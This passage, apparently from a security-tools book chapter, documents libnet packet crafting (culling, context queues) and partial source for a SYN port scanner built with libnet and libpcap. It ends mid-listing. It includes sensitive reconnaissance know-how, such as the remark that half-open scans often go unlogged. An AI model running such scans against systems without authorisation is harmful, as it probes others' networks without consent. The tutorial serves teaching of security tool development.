   if (arp == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr,&lt;br /&gt;
            &amp;quot;Unable to build ARP header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* build the ethernet header */&lt;br /&gt;
   eth = libnet_build_ethernet (macaddr,            /* destination address */&lt;br /&gt;
                              (u_int8_t *) hwaddr,  /* source address */&lt;br /&gt;
                              ETHERTYPE_ARP,        /* type of encasulated packet */&lt;br /&gt;
                              NULL,                 /* pointer to payload */&lt;br /&gt;
                              0,                    /* size of payload */&lt;br /&gt;
                              l,                    /* libnet context */&lt;br /&gt;
                              0);                   /* libnet protocol tag */&lt;br /&gt;
 &lt;br /&gt;
   if (eth == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr,&lt;br /&gt;
            &amp;quot;Unable to build Ethernet header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* write the packet */ &lt;br /&gt;
 &lt;br /&gt;
   if ((libnet_write (l)) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Unable to send packet: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* exit cleanly */&lt;br /&gt;
   libnet_destroy (l);&lt;br /&gt;
   return 0;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Advanced libnet Functions ==&lt;br /&gt;
&lt;br /&gt;
In addition to the functionality we have already discussed, the ''libnet'' library also contains functionality for more specialized tasks, including the ability to extract raw packet data or packet headers, as well as the functionality to handle multiple ''libnet'' contexts for creating multiple packets.&lt;br /&gt;
&lt;br /&gt;
=== Accessing Raw Packet Data ===&lt;br /&gt;
&lt;br /&gt;
For some situations it is necessary to be able to access either raw packet data or the raw packet header from within ''libnet''. This can be useful, from a debugging standpoint, for handcrafting packets and for assembling truly unusual data packets.&lt;br /&gt;
&lt;br /&gt;
''libnet'' provides functions for &amp;quot;culling&amp;quot; the packet data from a ''libnet'' context, and for culling an individual packet header from a context and protocol tag. These functions are available only if the ''libnet'' injection type was one of &amp;lt;tt&amp;gt;LIBNET_LINK_ADV&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;LIBNET_RAW4_ADV&amp;lt;/tt&amp;gt;, or &amp;lt;tt&amp;gt;LIBNET_RAW6_ADV&amp;lt;/tt&amp;gt;. These functions are as follows:&lt;br /&gt;
&lt;br /&gt;
 int libnet_adv_cull_packet (libnet_t *l, u_int8_t **packet, u_int32_t *packet_s);&lt;br /&gt;
 &lt;br /&gt;
 int libnet_adv_cull_header (libnet_t *l, libnet_ptag_t ptag, u_int8_t **header,&lt;br /&gt;
                   u_int32_t *header_s);&lt;br /&gt;
&lt;br /&gt;
Both functions return &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; on success and &amp;lt;tt&amp;gt;-1&amp;lt;/tt&amp;gt; on failure, and you can query the errors using &amp;lt;tt&amp;gt;libnet_geterror()&amp;lt;/tt&amp;gt; . For each function, the packet or header in network byte order and the size of the data returned are pointed to by the pointers supplied to the functions.&lt;br /&gt;
&lt;br /&gt;
As noted earlier, culling a packet can be useful for debugging purposes, but it also gives you control over the format of the data to be sent out, which can can allow you to create protocol types not yet supported by ''libnet'' or to create unusual packets. For example, I have used this functionality to create packets for the Microsoft Teredo protocol that is included in Windows XP updates and is outlined at ''http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/teredo.mspx''. This technology uses IPv6 packets encapsulated within UDP over IPv4 packets to bypass Network Address Translation (NAT) controls implemented by common home cable/DSL gateways. Using packet culling, it is possible to create an appropriate IPv6 packet, and then use this packet data as the payload for an appropriate UDP packet for the transport layer.&lt;br /&gt;
&lt;br /&gt;
The other main use for packet culling is to manipulate the packet assembled by ''libnet''. Therefore, ''libnet'' supplies the functionality to write a culled packet to the wire using the &amp;lt;tt&amp;gt;libnet_adv_write_link()&amp;lt;/tt&amp;gt; function as follows:&lt;br /&gt;
&lt;br /&gt;
 int libnet_adv_write_link (libnet_t *l, u_int8_t *packet, u_int32_t packet_s)&lt;br /&gt;
&lt;br /&gt;
This function returns the number of bytes written, or &amp;lt;tt&amp;gt;-1&amp;lt;/tt&amp;gt; on error. &amp;lt;tt&amp;gt;libnet_geterror( )&amp;lt;/tt&amp;gt; can tell you what the error was. In addition to writing the packet, you should free the memory associated with the culled packet with &amp;lt;tt&amp;gt;libnet_adv_free_packet( )&amp;lt;/tt&amp;gt; as follows:&lt;br /&gt;
&lt;br /&gt;
 void libnet_adv_free_packet (libnet_t *l, u_int8_t *packet)&lt;br /&gt;
&lt;br /&gt;
=== Context Queues ===&lt;br /&gt;
&lt;br /&gt;
If you want to send multiple packets, possibly through different interfaces, you have a couple of options. You can handle each ''libnet'' context and send the packet individually, or you can use context queues to create a series of packets, and send them out in an organized fashion.&lt;br /&gt;
&lt;br /&gt;
Context queues are a very useful mechanism for handling multiple-context situations. It is easy to create a context queue: just push a context onto the queue using &amp;lt;tt&amp;gt;libnet_cq_add( )&amp;lt;/tt&amp;gt; as follows:&lt;br /&gt;
&lt;br /&gt;
 int libnet_cq_add (libnet_t *l, char *label)&lt;br /&gt;
&lt;br /&gt;
This function returns &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; on success and &amp;lt;tt&amp;gt;-1&amp;lt;/tt&amp;gt; on failure, with &amp;lt;tt&amp;gt;libnet_geterror()&amp;lt;/tt&amp;gt; telling you why. Each context and identifier &amp;lt;tt&amp;gt;label&amp;lt;/tt&amp;gt; must be unique, as they are identifiers for returning ''libnet'' contexts from the queue using &amp;lt;tt&amp;gt;libnet_cq_find_by_label()&amp;lt;/tt&amp;gt; as follows:&lt;br /&gt;
&lt;br /&gt;
 libnet_t* libnet_cq_find_by_label (char *label)&lt;br /&gt;
&lt;br /&gt;
To look up labels for contexts on the queue, use &amp;lt;tt&amp;gt;libnet_cq_getlabel( )&amp;lt;/tt&amp;gt; as follows:&lt;br /&gt;
&lt;br /&gt;
 int8_t* libnet_cq_getlabel (libnet_t *l)&lt;br /&gt;
&lt;br /&gt;
Contexts can be iterated using &amp;lt;tt&amp;gt;libnet_cq_head( )&amp;lt;/tt&amp;gt; to return the first item in the queue and prevent additional items from being added to the queue; &amp;lt;tt&amp;gt;libnet_cq_next()&amp;lt;/tt&amp;gt; to return the next item in the queue; &amp;lt;tt&amp;gt;libnet_cq_last()&amp;lt;/tt&amp;gt; to see if the context is the last in the queue; or &amp;lt;tt&amp;gt;libnet_cq_size()&amp;lt;/tt&amp;gt; to track the queue size. Do this manually as follows:&lt;br /&gt;
&lt;br /&gt;
 libnet_t* l;&lt;br /&gt;
 for (l = libnet_cq_head( ); libnet_cq_last( ); l = libnet_cq_next( ))&lt;br /&gt;
 {&lt;br /&gt;
    ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Or you can do this using the provided &amp;lt;tt&amp;gt;for_each_context_in_cq()&amp;lt;/tt&amp;gt; macro.&lt;br /&gt;
&lt;br /&gt;
You can remove contexts from the queue either by the ''libnet'' context:&lt;br /&gt;
&lt;br /&gt;
 libnet_t* libnet_cq_remove (libnet_t *l)&lt;br /&gt;
&lt;br /&gt;
or by using the label provided when adding the context to the queue:&lt;br /&gt;
&lt;br /&gt;
 libnet_t* libnet_cq_remove_by_label (char *label)&lt;br /&gt;
&lt;br /&gt;
In both cases, the function returns &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt; on failure, or a pointer to the ''libnet'' context that was removed.&lt;br /&gt;
&lt;br /&gt;
Finally, you can use the &amp;lt;tt&amp;gt;libnet_cq_destroy( )&amp;lt;/tt&amp;gt; function to destroy the context queue, and you can use &amp;lt;tt&amp;gt;libnet_destroy()&amp;lt;/tt&amp;gt; to free all resources used by contexts on the queue.&lt;br /&gt;
&lt;br /&gt;
== Combining libnet and libpcap ==&lt;br /&gt;
&lt;br /&gt;
The ability to create arbitrary packets can be very powerful in a tool. When this is combined with the ability to capture packets from the network you can create powerful tools to manipulate traffic on the network. In this section we will create such a tool: a simple half-open port scanner called SYNplescan.&lt;br /&gt;
&lt;br /&gt;
=== Overview of SYNplescan ===&lt;br /&gt;
&lt;br /&gt;
Half-open (or &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; scanning) works by taking advantage of the three-way handshaking process the TCP protocol uses to establish a connection. The three-way handshaking process, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-FIG-3|Figure 11-3]], involves the system initiating the connection to send a TCP packet with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; flag set. If the port the system is attempting to connect to is accepting connections, the destination system responds with a TCP packet with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;ACK&amp;lt;/tt&amp;gt; flags set. To complete the connection, the initiating system sends a TCP packet back with the &amp;lt;tt&amp;gt;ACK&amp;lt;/tt&amp;gt; flag set.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-FIG-3&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 11-3. TCP three-way handshake'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt651.png|TCP three-way handshake]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is in contrast to the situation shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-FIG-4|Figure 11-4]], in which the initiating system is attempting to connect to a TCP port that is closed. In this case the destination host responds with a TCP packet with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;RST&amp;lt;/tt&amp;gt; flags set.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-FIG-4&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 11-4. Attempted TCP connection to closed port'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt652.png|Attempted TCP connection to closed port]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether connecting to an open port or a closed port, only two packets are required to determine whether the port is open or closed. In addition, many operating systems do not log incoming connections if the full three-way handshaking process has not completed. Half-open scanning relies on the ability to create a TCP packet with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; packet set, and on capturing return traffic from the destination system to determine if the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;ACK&amp;lt;/tt&amp;gt; flags have been set, signaling that the port is open or, if the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;RST&amp;lt;/tt&amp;gt; flags are set, indicating that the port is closed.&lt;br /&gt;
&lt;br /&gt;
=== Creating the SYN Packet ===&lt;br /&gt;
&lt;br /&gt;
Because SYNplescan works at the TCP layer, we can open the ''libnet'' context for raw sockets mode as follows:&lt;br /&gt;
&lt;br /&gt;
 l = libnet_init (LIBNET_RAW4, device, libnet_errbuf);&lt;br /&gt;
&lt;br /&gt;
To create the outgoing &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; packet, we are going to start with the &amp;lt;tt&amp;gt;libnet_build_tcp()&amp;lt;/tt&amp;gt; function, as this is the highest-level protocol in this example. This is shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-7|Example 11-7]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-7&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-7. Creating the TCP header'''&lt;br /&gt;
&lt;br /&gt;
 libnet_ptag_t tcp = 0;    /* libnet protocol block */&lt;br /&gt;
 &lt;br /&gt;
 tcp = libnet_build_tcp (libnet_get_prand (LIBNET_PRu16),    /* src port */&lt;br /&gt;
                   ports[i],    /* destination port */&lt;br /&gt;
                   libnet_get_prand (LIBNET_PRu16),    /* sequence number */&lt;br /&gt;
                   0,    /* acknowledgement */&lt;br /&gt;
                   TH_SYN,    /* control flags */&lt;br /&gt;
                   7,    /* window */&lt;br /&gt;
                   0,    /* checksum - 0 = autofill */&lt;br /&gt;
                   0,    /* urgent */&lt;br /&gt;
                   LIBNET_TCP_H,    /* header length */&lt;br /&gt;
                   NULL,    /* payload */&lt;br /&gt;
                   0,    /* payload length */&lt;br /&gt;
                   l,    /* libnet context */&lt;br /&gt;
                   tcp);    /* protocol tag */&lt;br /&gt;
 &lt;br /&gt;
 if (tcp == -1)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf (stderr,&lt;br /&gt;
        &amp;quot;Unable to build TCP header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
    exit (1);&lt;br /&gt;
  }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;libnet_build_tcp( )&amp;lt;/tt&amp;gt; specifies the field values for the TCP header. In this case we are specifying that the TCP packet has the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; flag set (using the &amp;lt;tt&amp;gt;TH_SYN&amp;lt;/tt&amp;gt; value; this is a constant supplied in the ''tcp.h'' include file), that the TCP packet is empty (there is no pointer to a payload), and that the payload length is &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Also note that the value &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; has been provided as the checksum for the TCP header. By default, if &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; is provided as a value for a packet header's checksum, ''libnet'' calculates the correct value and inserts it into the header for you. You can modify this behavior using &amp;lt;tt&amp;gt;libnet_toggle_checksum()&amp;lt;/tt&amp;gt; if you want to deliberately create invalid packets.&lt;br /&gt;
&lt;br /&gt;
For this packet, we are using random source ports and sequence numbers, which we've obtained using the &amp;lt;tt&amp;gt;libnet_get_prand( )&amp;lt;/tt&amp;gt; function. You can use this function to generate pseudorandom numbers from 2 bits to 32 bits for build functions. Also, we are passing the &amp;lt;tt&amp;gt;libnet_ptag_t&amp;lt;/tt&amp;gt; value &amp;lt;tt&amp;gt;tcp&amp;lt;/tt&amp;gt; to this function because we are going to be sending several packets with differing destination port values to test a series of ports. Therefore, for efficiency, we modify the existing protocol block rather than create a new protocol block each time.&lt;br /&gt;
&lt;br /&gt;
Once the TCP header is created, we can build the IP packet, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-8|Example 11-8]]. Because we are using the &amp;lt;tt&amp;gt;LIBNET_RAW4&amp;lt;/tt&amp;gt; injection type, this is the last packet header we need to create, as the operating system is used to send this packet out to its destination.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-8&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-8. Creating the IP header'''&lt;br /&gt;
&lt;br /&gt;
 libnet_ptag_t ipv4 = 0;    /* libnet protocol block */&lt;br /&gt;
 &lt;br /&gt;
 ipv4 = libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H,    /* length */&lt;br /&gt;
                 0,    /* TOS */&lt;br /&gt;
                 libnet_get_prand (LIBNET_PRu16),    /* IP ID */&lt;br /&gt;
                 0,    /* frag offset */&lt;br /&gt;
                 127,    /* TTL */&lt;br /&gt;
                 IPPROTO_TCP,    /* upper layer protocol */&lt;br /&gt;
                 0,    /* checksum, 0=autofill */&lt;br /&gt;
                 myipaddr,    /* src IP */&lt;br /&gt;
                 ipaddr,    /* dest IP */&lt;br /&gt;
                 NULL,    /* payload */&lt;br /&gt;
                 0,    /* payload len */&lt;br /&gt;
                 l,    /* libnet context */&lt;br /&gt;
                 ipv4);    /* protocol tag */&lt;br /&gt;
 &lt;br /&gt;
 if (ipv4 == -1)&lt;br /&gt;
   {&lt;br /&gt;
     fprintf (stderr,&lt;br /&gt;
        &amp;quot;Unable to build IPv4 header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
     exit (1);&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We used the &amp;lt;tt&amp;gt;libnet_build_ipv4()&amp;lt;/tt&amp;gt; function to build the IP header for our &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; packet. The checksum value for this packet is also specified as &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;; however; it is worth noting that the operating system calculates this value regardless of what we specify here if we are using a &amp;lt;tt&amp;gt;LIBNET_RAW4&amp;lt;/tt&amp;gt; injection type (which we are).&lt;br /&gt;
&lt;br /&gt;
=== Capturing the Responses ===&lt;br /&gt;
&lt;br /&gt;
To capture the responding packets, SYNplescan uses the ''libpcap'' library. ''libpcap'' is covered in detail in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Network Sniffers|Chapter 10]].&lt;br /&gt;
&lt;br /&gt;
To capture packets with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;ACK&amp;lt;/tt&amp;gt; flags set, as well as packets with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;RST&amp;lt;/tt&amp;gt; flags set, SYNplescan uses the following ''tcpdump'' -style filter to specify packets to capture from the wire:&lt;br /&gt;
&lt;br /&gt;
 char *filter = &amp;quot;(tcp[13] == 0x14) || (tcp[13] == 0x12)&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;tcp[13]&amp;lt;/tt&amp;gt; value refers to the TCP flags value within the TCP header. In this case we are comparing these to the hardcoded values &amp;lt;tt&amp;gt;0x14&amp;lt;/tt&amp;gt; (&amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;RST&amp;lt;/tt&amp;gt; are set) and &amp;lt;tt&amp;gt;0x12&amp;lt;/tt&amp;gt; (&amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;ACK&amp;lt;/tt&amp;gt; are set). Then these values are used to provide output to the user on ports that are open or closed, as follows:&lt;br /&gt;
&lt;br /&gt;
   if (tcp-&amp;gt;th_flags == 0x14)&lt;br /&gt;
     {&lt;br /&gt;
       printf (&amp;quot;Port %d appears to be closed\n&amp;quot;, ntohs (tcp-&amp;gt;th_sport));&lt;br /&gt;
       answer = 0;&lt;br /&gt;
     }&lt;br /&gt;
   else&lt;br /&gt;
     {&lt;br /&gt;
       if (tcp-&amp;gt;th_flags == 0x12)&lt;br /&gt;
       {&lt;br /&gt;
       printf (&amp;quot;Port %d appears to be open\n&amp;quot;, ntohs (tcp-&amp;gt;th_sport));&lt;br /&gt;
       answer = 0;&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
In addition to these cases, the SYNplescan tool also handles situations in which no response is obtained from the destination system. In these cases the initial &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; packets or the response packets might be filtered by a firewall. SYNplescan therefore assumes any port that doesn't respond in a timeout period is filtered.&lt;br /&gt;
&lt;br /&gt;
=== The SYNplescan Tool Source Code ===&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-9|Example 11-9]] provides the full source code to the SYNplescan tool. This should compile on most Linux distributions as follows:&lt;br /&gt;
&lt;br /&gt;
 gcc -o synplescan synplescan.c -lnet -lpcap&lt;br /&gt;
&lt;br /&gt;
If that does not work, ''libnet'' provides a tool called ''libnet-config'' that contains definitions and library references that might be required for your ''libnet'' installation. You can use this with back quotes as follows:&lt;br /&gt;
&lt;br /&gt;
 gcc -o synplescan synplescan.c `libnet-config -defines` \&lt;br /&gt;
      `libnet-config -libs` `libnet-config -cflags` -lpcap&lt;br /&gt;
&lt;br /&gt;
This tool was written on Gentoo Linux. It should work on most Linux installations; however, some tweaking might be necessary to get this working on other Unix and Unix-like environments.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-9&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-9. Source code to the SYNplescan tool'''&lt;br /&gt;
&lt;br /&gt;
 #define _BSD_SOURCE 1&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;time.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;libnet.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;pcap.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int answer = 0;            /* flag for scan timeout */&lt;br /&gt;
 &lt;br /&gt;
 /* usage */&lt;br /&gt;
 void&lt;br /&gt;
 usage (char *name)&lt;br /&gt;
 {&lt;br /&gt;
   printf (&amp;quot;%s - Simple SYN scan\n&amp;quot;, name);&lt;br /&gt;
   printf (&amp;quot;Usage: %s -i ip_address\n&amp;quot;, name);&lt;br /&gt;
   printf (&amp;quot;    -i    IP address to scan\n&amp;quot;);&lt;br /&gt;
   exit (1);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void&lt;br /&gt;
 packet_handler (u_char * user, const struct pcap_pkthdr *header,&lt;br /&gt;
         const u_char * packet)&lt;br /&gt;
 {&lt;br /&gt;
   struct tcphdr *tcp =&lt;br /&gt;
     (struct tcphdr *) (packet + LIBNET_IPV4_H + LIBNET_ETH_H);&lt;br /&gt;
 &lt;br /&gt;
   if (tcp-&amp;gt;th_flags == 0x14)&lt;br /&gt;
     {&lt;br /&gt;
       printf (&amp;quot;Port %d appears to be closed\n&amp;quot;, ntohs (tcp-&amp;gt;th_sport));&lt;br /&gt;
       answer = 0;&lt;br /&gt;
     }&lt;br /&gt;
   else&lt;br /&gt;
     {&lt;br /&gt;
       if (tcp-&amp;gt;th_flags == 0x12)&lt;br /&gt;
       {&lt;br /&gt;
       printf (&amp;quot;Port %d appears to be open\n&amp;quot;, ntohs (tcp-&amp;gt;th_sport));&lt;br /&gt;
       answer = 0;&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int&lt;br /&gt;
 main (int argc, char *argv[])&lt;br /&gt;
 {&lt;br /&gt;
   char *device = NULL;        /* device for sniffing/sending */&lt;br /&gt;
   char o;            /* for option processing */&lt;br /&gt;
   in_addr_t ipaddr;        /* ip address to scan */&lt;br /&gt;
   u_int32_t myipaddr;        /* ip address of this host */&lt;br /&gt;
   libnet_t *l;            /* libnet context */&lt;br /&gt;
   libnet_ptag_t tcp = 0, ipv4 = 0;    /* libnet protocol blocks */&lt;br /&gt;
   char libnet_errbuf[LIBNET_ERRBUF_SIZE];    /* libnet error messages */&lt;br /&gt;
   char libpcap_errbuf[PCAP_ERRBUF_SIZE];    /* pcap error messages */&lt;br /&gt;
   pcap_t *handle;        /* libpcap handle */&lt;br /&gt;
   bpf_u_int32 netp, maskp;    /* netmask and ip */&lt;br /&gt;
   char *filter = &amp;quot;(tcp[13] == 0x14) || (tcp[13] == 0x12)&amp;quot;;&lt;br /&gt;
   /* if the SYN and RST or ACK flags are set */&lt;br /&gt;
   struct bpf_program fp;    /* compiled filter */&lt;br /&gt;
   int ports[] = { 21, 22, 23, 25, 53, 79, 80, 110, 139, 443, 445, 0 };    &lt;br /&gt;
             /* ports to scan */&lt;br /&gt;
   int i;&lt;br /&gt;
   time_t tv;&lt;br /&gt;
 &lt;br /&gt;
   if (argc != 3)&lt;br /&gt;
     usage (argv[0]);&lt;br /&gt;
 &lt;br /&gt;
   /* open context */&lt;br /&gt;
   l = libnet_init (LIBNET_RAW4, device, libnet_errbuf);&lt;br /&gt;
   if (l == NULL)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error opening context: %s&amp;quot;, libnet_errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   while ((o = getopt (argc, argv, &amp;quot;i:&amp;quot;)) &amp;gt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       switch (o)&lt;br /&gt;
     {&lt;br /&gt;
     case 'i':&lt;br /&gt;
       if ((ipaddr = libnet_name2addr4 (l, optarg, LIBNET_RESOLVE)) == -1)&lt;br /&gt;
         {&lt;br /&gt;
           fprintf (stderr, &amp;quot;Invalid address: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
           usage (argv[0]);&lt;br /&gt;
         }&lt;br /&gt;
       break;&lt;br /&gt;
     default:&lt;br /&gt;
       usage (argv[0]);&lt;br /&gt;
       break;&lt;br /&gt;
     }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* get the ip address of the device */&lt;br /&gt;
   if ((myipaddr = libnet_get_ipaddr4 (l)) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error getting IP: %s&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   printf (&amp;quot;IP: %s\n&amp;quot;, libnet_addr2name4 (ipaddr, LIBNET_DONT_RESOLVE));&lt;br /&gt;
 &lt;br /&gt;
 /* get the device we are using for libpcap */&lt;br /&gt;
   if ((device = libnet_getdevice (l)) == NULL)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Device is NULL. Packet capture may be broken\n&amp;quot;);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* open the device with pcap */&lt;br /&gt;
   if ((handle =&lt;br /&gt;
        pcap_open_live (device, 1500, 0, 2000, libpcap_errbuf)) == NULL)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error opening pcap: %s\n&amp;quot;, libpcap_errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   if ((pcap_setnonblock (handle, 1, libnet_errbuf)) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error setting nonblocking: %s\n&amp;quot;, libpcap_errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* set the capture filter */&lt;br /&gt;
   if (pcap_lookupnet (device, &amp;amp;netp, &amp;amp;maskp, libpcap_errbuf) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Net lookup error: %s\n&amp;quot;, libpcap_errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   if (pcap_compile (handle, &amp;amp;fp, filter, 0, maskp) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;BPF error: %s\n&amp;quot;, pcap_geterr (handle));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   if (pcap_setfilter (handle, &amp;amp;fp) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error setting BPF: %s\n&amp;quot;, pcap_geterr (handle));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   pcap_freecode (&amp;amp;fp);&lt;br /&gt;
 &lt;br /&gt;
   /* seed the pseudo random number generator */&lt;br /&gt;
   libnet_seed_prand (l);&lt;br /&gt;
 &lt;br /&gt;
   for (i = 0; ports[i] != 0; i++)&lt;br /&gt;
     {&lt;br /&gt;
       /* build the TCP header */&lt;br /&gt;
       tcp = libnet_build_tcp (libnet_get_prand (LIBNET_PRu16),    /* src port */&lt;br /&gt;
                   ports[i],    /* destination port */&lt;br /&gt;
                   libnet_get_prand (LIBNET_PRu16),    /* sequence number */&lt;br /&gt;
                   0,    /* acknowledgement */&lt;br /&gt;
                   TH_SYN,    /* control flags */&lt;br /&gt;
                   7,    /* window */&lt;br /&gt;
                   0,    /* checksum - 0 = autofill */&lt;br /&gt;
                   0,    /* urgent */&lt;br /&gt;
                   LIBNET_TCP_H,    /* header length */&lt;br /&gt;
                   NULL,    /* payload */&lt;br /&gt;
                   0,    /* payload length */&lt;br /&gt;
                   l,    /* libnet context */&lt;br /&gt;
                   tcp);    /* protocol tag */&lt;br /&gt;
 &lt;br /&gt;
     if (tcp == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr,&lt;br /&gt;
            &amp;quot;Unable to build TCP header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
       /* build the IP header */&lt;br /&gt;
       ipv4 = libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H,    /* length */&lt;br /&gt;
                 0,    /* TOS */&lt;br /&gt;
                 libnet_get_prand (LIBNET_PRu16),    /* IP ID */&lt;br /&gt;
                 0,    /* frag offset */&lt;br /&gt;
                 127,    /* TTL */&lt;br /&gt;
                 IPPROTO_TCP,    /* upper layer protocol */&lt;br /&gt;
                 0,    /* checksum, 0=autofill */&lt;br /&gt;
                 myipaddr,    /* src IP */&lt;br /&gt;
                 ipaddr,    /* dest IP */&lt;br /&gt;
